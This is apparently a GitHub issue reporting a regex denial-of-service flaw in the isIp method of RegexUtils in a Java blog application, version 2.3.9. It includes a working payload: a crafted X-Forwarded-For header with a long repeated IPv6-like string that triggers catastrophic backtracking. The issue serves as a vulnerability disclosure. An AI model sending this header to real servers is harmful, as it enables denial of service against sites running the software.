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There is a denial of service vulnerability affecting the latest version 2.3.9 #35

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hacker-wp opened this issue Mar 12, 2025 · 0 comments

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@hacker-wp
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hacker-wp commented Mar 12, 2025

This vulnerability can lead to a denial of service problem. The application uses regular expressions to match when processing IP addresses, but there are serious vulnerabilities in regular expressions. Attackers can directly pass in specially constructed characters to cause repeated and infinite regular expression matches, which will consume all CPU performance and lead to a denial of service.

Just need to modify the X-Forwarded-for in the http request header:

X-Forwarded-For:5::6:6:5:36:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A:A3A

com.zyd.blog.util.RegexUtils.java public static boolean isIp(String ip)

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@hacker-wp hacker-wp changed the title There is a denial of service vulnerability affecting the latest version 2.3.6 There is a denial of service vulnerability affecting the latest version 2.3.9 Mar 17, 2025
@hacker-wp hacker-wp changed the title There is a denial of service vulnerability affecting the latest version 2.3.9 null Mar 24, 2025
@hacker-wp hacker-wp changed the title null There is a denial of service vulnerability affecting the latest version 2.3.9 Mar 26, 2025
@hacker-wp hacker-wp reopened this Mar 26, 2025
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